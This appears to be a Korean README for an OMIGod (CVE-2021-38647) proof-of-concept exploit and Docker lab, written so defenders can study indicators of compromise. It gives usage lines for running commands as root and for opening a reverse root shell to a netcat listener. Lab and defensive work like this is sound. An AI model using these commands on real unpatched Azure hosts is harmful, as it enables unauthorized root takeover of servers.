
OMIGod / CVE-2021-38647 POC 및 데모 환경
Open Management Infrastructure(OMI, 이전에는 NanoWBEM으로 알려짐)는 마이크로소프트와 The Open Group이 개발한 오픈 소스 Common Interface Model(CMI) 관리 서버입니다. OMI는 대부분의 Azure Linux VM에서 발견되는 소프트웨어 에이전트이지만, 많은 사람들이 그 존재를 모릅니다.
9월 14일, Wiz 연구팀은 OMI의 네 가지 취약점을 상세히 설명하는 기사를 발표했습니다. 이 취약점들은 쉽게 악용될 수 있으며, 공격자가 단일 요청만으로 임의의 원격 코드 실행 및 루트 권한 상승을 허용할 수 있다고 설명됩니다.
CVE-2021-38647은 조작된 HTTP 요청을 전송하여 악용되는 인증되지 않은 RCE 취약점입니다. CVE-2021-38647은 공격자가 OMI 에이전트의 사용자(일반적으로 root)로서 명령을 실행할 수 있게 합니다.
OMI 에이전트는 다음 서비스가 사용 중일 때 Azure Linux 서버에서 널리 사용됩니다:
Microsoft에 따르면 OMI를 사용하는 대부분의 Azure 서비스는 HTTP/S 포트를 노출하지 않고 배포합니다.
이 프로젝트의 목표는 블루 팀이 쉽게 IoC를 찾을 수 있도록 쉽게 복제할 수 있는 방식으로 데모 환경을 만드는 것입니다. 이 목표를 달성하기 위해 취약한 버전의 OMI가 설정된 커스텀 도커 이미지를 생성했습니다.
설정에 따라 sudo가 필요할 수 있습니다.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
이제 도커 컨테이너의 루트 터미널이 열립니다. 도커 컨테이너의 IP 주소를 얻어야 하며, 다음 명령어로 할 수 있습니다:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
이 설정이 완료되면, 어떤 PoC든 실행해볼 수 있습니다. 이 프로젝트에 포함된 PoC를 실행하려면 다음 명령어를 실행하세요:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
IppSec's video regarding this exploit and setting up a similar environment - https://www.youtube.com/watch?v=TXqi1BKtcyM 이 프로젝트의 환경 설정은 IppSec의 비디오를 기반으로 합니다.
horizon3ai PoC - https://github.com/horizon3ai/CVE-2021-38647 이 프로젝트의 PoC는 horizon3ai의 PoC를 기반으로 합니다.
자세한 내용은 원본 연구자들의 작업을 참조하세요: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
v1.6.8-1 미만의 모든 OMI 버전이 취약합니다.
이 익스플로잇을 수정한 패치 버전이 게시되었습니다. 업데이트하여 버전이 1.6.8.1 이상인지 확인하세요.
이 소프트웨어는 학술 연구 및 효과적인 방어 기술 개발 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.